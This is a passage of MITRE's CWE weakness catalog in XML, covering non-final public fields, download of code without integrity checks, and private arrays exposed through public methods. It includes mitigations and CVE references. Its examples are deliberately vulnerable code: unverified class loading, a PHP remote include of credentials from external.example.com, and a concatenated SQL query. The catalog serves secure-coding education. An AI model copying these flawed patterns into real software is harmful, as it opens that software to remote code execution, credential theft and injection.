					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Declare all public fields as final when possible, especially if it is
							used to maintain internal state of an Applet or of classes used by an
							Applet. If a field must be public, then perform all appropriate sanity
							checks before accessing the field from your code.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Suppose this WidgetData class is used for an e-commerce web site.
						The programmer attempts to prevent price-tampering attacks by setting the
						price of the widget using the constructor.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public final class WidgetData extends Applet {</Code>
							              <Block>
								                <Code>public float price;</Code>
								                <Code>...</Code>
								                <Code>public WidgetData(...) {</Code>
								                <Block>
									                  <Code>this.price = LookupPrice("MyWidgetType");</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The price field is not final. Even though the value is set by the
							constructor, it could be modified by anybody that has access to an
							instance of WidgetData.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>Assume the following code is intended to provide the location of a
						configuration file that controls execution of the application.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>public string configPath = "/etc/application/config.dat";</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public String configPath = new
								String("/etc/application/config.dat");</Code>
						            </Block>
						            <Text>While this field is readable from any function, and thus might allow
							an information leak of a pathname, a more serious problem is that it can
							be changed by any function.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Mobile Code: Non-Final Public Field</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Failure to provide confidentiality for stored
						data</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not use public static nonfinal variables</Mapped_Node_Name>
					          <Mapped_Node_ID>OBJ10-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Description, Likelihood_of_Exploit, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Background_Details, Demonstrative_Examples,
						Description, Other_Notes, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Background_Details, Demonstrative_Examples,
						Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Mobile Code: Non-final Public
						Field</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="494" Name="Download of Code Without Integrity Check" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product downloads source code or an executable from a
					remote location and executes the code without sufficiently verifying the origin
					and integrity of the code.</Description_Summary>
				        <Extended_Description>
					          <Text>An attacker can execute malicious code by compromising the host server,
						performing DNS spoofing, or modifying the code in transit.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>865</Relationship_Target_ID>
					          <!--2011 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>802</Relationship_Target_ID>
					          <!--2010 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>490</Relationship_Target_ID>
					          <!--Mobile Code Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>669</Relationship_Target_ID>
					          <!--Incorrect Resource Transfer Between Spheres-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>79</Relationship_Target_ID>
					          <!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>752</Relationship_Target_ID>
					          <!--2009 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>859</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 14 - Platform Security (SEC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Executing untrusted code could compromise the control flow of the
							program. The untrusted code could execute attacker-controlled commands,
							read or modify sensitive resources, or prevent the software from
							functioning correctly for legitimate users.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-7.4">
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using tools and techniques that require
							manual (human) analysis, such as penetration testing, threat modeling,
							and interactive tools that allow the tester to record and modify an
							active session. </Text>
						            <Text>Specifically, manual static analysis is typically required to find the
							behavior that triggers the download of code, and to determine whether
							integrity-checking methods are in use.</Text>
					          </Method_Description>
					          <Method_Effectiveness_Notes>
						            <Text> These may be more effective than strictly automated techniques. This
							is especially the case with weaknesses that are related to design and
							business rules.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-11">
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>Use monitoring tools that examine the software's process as it
							interacts with the operating system and the network. This technique is
							useful in cases when source code is unavailable, if the software was not
							developed by you, or if you want to verify that the build phase did not
							introduce any new weaknesses. Examples include debuggers that directly
							attach to the running process; system-call tracing utilities such as
							truss (Solaris) and strace (Linux); system activity monitors such as
							FileMon, RegMon, Process Monitor, and other Sysinternals utilities
							(Windows); and sniffers and protocol analyzers that monitor network
							traffic.</Text>
						            <Text>Attach the monitor to the process and also sniff the network
							connection. Trigger features related to product updates or plugin
							installation, which is likely to force a code download. Monitor when
							files are downloaded and separately executed, or if they are otherwise
							read back into the process. Look for evidence of cryptographic library
							calls that use integrity checking.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-42">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Perform proper forward and reverse DNS lookups to detect DNS spoofing.
						</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is only a partial solution since it will not prevent your code
							from being modified on the hosting site or in transit.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Encrypt the code with a reliable encryption scheme before
							transmitting.</Text>
						            <Text>This will only be a partial solution, since it will not detect DNS
							spoofing and it will not prevent your code from being modified on the
							hosting site.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>Speficially, it may be helpful to use tools or frameworks to perform
							integrity checking on the transmitted code.</Text>
						            <Block Block_Nature="List">
							              <Text>When providing the code that is to be downloaded, such as for
								automatic updates of the software, then use cryptographic signatures
								for the code and modify the download clients to verify the
								signatures. Ensure that the implementation does not contain CWE-295,
								CWE-320, CWE-347, and related weaknesses.</Text>
							              <Text>Use code signing technologies such as Authenticode. See references
								[R.494.1] [R.494.2] [R.494.3].</Text>
						            </Block>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-17">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run your code using the lowest privileges that are required to
							accomplish the necessary tasks [R.494.7]. If possible, create isolated
							accounts with limited privileges that are only used for a single task.
							That way, a successful attack will not immediately give the attacker
							access to the rest of the software or its environment. For example,
							database applications rarely need to run as the database administrator,
							especially in day-to-day operations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-22">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Sandbox or Jail</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run the code in a "jail" or similar sandbox environment that enforces
							strict boundaries between the process and the operating system. This may
							effectively restrict which files can be accessed in a particular
							directory or which commands can be executed by the software.</Text>
						            <Text>OS-level examples include the Unix chroot jail, AppArmor, and SELinux.
							In general, managed code may provide some protection. For example,
							java.io.FilePermission in the Java SecurityManager allows the software
							to specify restrictions on file operations.</Text>
						            <Text>This may not be a feasible solution, and it only limits the impact to
							the operating system; the rest of the application may still be subject
							to compromise.</Text>
						            <Text>Be careful to avoid CWE-243 and other weaknesses related to jails.
						</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Limited</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>The effectiveness of this mitigation depends on the prevention
							capabilities of the specific sandbox or jail being used and might only
							help to reduce the scope of an attack, such as restricting the attacker
							to certain system calls or limiting the portion of the file system that
							can be accessed. </Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This example loads an external class from a local
						subdirectory.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>URL[] classURLs= new URL[]{</Code>
							              <Block>
								                <Code>new URL("file:subdir/")</Code>
							              </Block>
							              <Code>};</Code>
							              <Code>URLClassLoader loader = new URLClassLoader(classURLs);</Code>
							              <Code>Class loadedClass = Class.forName("loadMe", true, loader);</Code>
						            </Block>
						            <Text>This code does not ensure that the class loaded is the intended one,
							for example by verifying the class's checksum. An attacker may be able
							to modify the class file to execute malicious code.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This code includes an external script to get database credentials,
						then authenticates a user against the database, allowing access to the
						application.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Comment> //assume the password is already encrypted, avoiding
								CWE-312</Comment>
							              <Code>function authenticate($username,$password){</Code>
							              <Block>
								                <Code> include("http://external.example.com/dbInfo.php");</Code>
								                <Comment> //dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname
									available</Comment>
								                <Code> mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error
									connecting to mysql');</Code>
								                <Code> mysql_select_db($dbname);</Code>
								                <Code> $query = 'Select * from users where username='.$username.'
									And password='.$password;</Code>
								                <Code> $result = mysql_query($query);</Code>
								                <Code>if(mysql_numrows($result) == 1){</Code>
								                <Block>
									                  <Code> mysql_close();</Code>
									                  <Code>return true;</Code>
								                </Block>
								                <Code> }</Code>
								                <Code> else{</Code>
								                <Block>
									                  <Code> mysql_close();</Code>
									                  <Code> return false;</Code>
								                </Block>
								                <Code> }</Code>
								                <Code> }</Code>
							              </Block>
						            </Block>
						            <Text>This code does not verify that the external domain accessed is the
							intended one. An attacker may somehow cause the external domain name to
							resolve to an attack server, which would provide the information for a
							false database. The attacker may then steal the usernames and encrypted
							passwords from real user login attempts, or simply allow himself to
							access the application without a real user account.</Text>
						            <Text>This example is also vulnerable to a Man in the Middle (CWE-300)
							attack.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3438</Observed_Example_Reference>
					          <Observed_Example_Description>OS does not verify authenticity of its own
						updates.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3324</Observed_Example_Reference>
					          <Observed_Example_Description>online poker client does not verify authenticity
						of its own updates.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1125</Observed_Example_Reference>
					          <Observed_Example_Description>anti-virus product does not verify automatic
						updates for itself.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0671</Observed_Example_Reference>
					          <Observed_Example_Description>VOIP phone downloads applications from web sites
						without verifying integrity.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>This is critical for mobile code, but it is likely to become more and more
						common as developers continue to adopt automated, network-based product
						distributions and upgrades. Software-as-a-Service (SaaS) might introduce
						additional subtleties. Common exploitation scenarios may include ad server
						compromises and bad upgrades.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Local_Reference_ID="R.494.1">
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>Introduction to Code Signing</Reference_Title>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/ms537361(VS.85).aspx</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.494.2">
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>Authenticode</Reference_Title>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/ms537359(v=VS.85).aspx</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.494.3">
					          <Reference_Author>Apple</Reference_Author>
					          <Reference_Title>Code Signing Guide</Reference_Title>
					          <Reference_Publication>Apple Developer Connection</Reference_Publication>
					          <Reference_Date>2008-11-19</Reference_Date>
					          <Reference_Link>http://developer.apple.com/documentation/Security/Conceptual/CodeSigningGuide/Introduction/chapter_1_section_1.html</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.494.4">
					          <Reference_Author>Anthony Bellissimo</Reference_Author>
					          <Reference_Author>John Burgess</Reference_Author>
					          <Reference_Author>Kevin Fu</Reference_Author>
					          <Reference_Title>Secure Software Updates: Disappointments and New
						Challenges</Reference_Title>
					          <Reference_Link>http://prisms.cs.umass.edu/~kevinfu/papers/secureupdates-hotsec06.pdf</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.494.5">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 18: The Sins of Mobile Code." Page
						267</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Local_Reference_ID="R.494.6">
					          <Reference_Author>Johannes Ullrich</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 20 - Download of Code Without Integrity
						Check</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-04-05</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/04/05/top-25-series-rank-20-download-code-integrity-check/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-31" Local_Reference_ID="R.494.7">
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Least Privilege</Reference_Title>
					          <Reference_PubDate>2005-09-14</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Invoking untrusted mobile code</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not rely on the default automatic signature verification
						provided by URLClassLoader and java.util.jar</Mapped_Node_Name>
					          <Mapped_Node_ID>SEC06-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>184</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>185</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>186</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>187</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Description, Name, Other_Notes, Potential_Mitigations, References,
						Relationships, Research_Gaps, Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Description, Observed_Examples,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Detection_Factors, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Detection_Factors,
						Potential_Mitigations, References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Mobile Code: Invoking
						Untrusted Mobile Code</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Download of Untrusted Mobile
						Code Without Integrity Check</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="495" Name="Private Array-Typed Field Returned From A Public Method" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The product has a method that is declared public, but returns a
					reference to a private array, which could then be modified in unexpected
					ways.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The contents of the array can be modified from outside the intended
							scope.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Declare the method private.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Clone the member data and keep an unmodified version of the data
							private to the object.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use public setter methods that govern how a member can be modified.
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Here, a public method in a Java class returns a reference to a
						private array. Given that arrays in Java are mutable, any modifications made
						to the returned reference would be reflected in the original private
						array.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private String[] colors;</Code>
							              <Code>public String[] getColors() {</Code>
							              <Block>
								                <Code>return colors;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
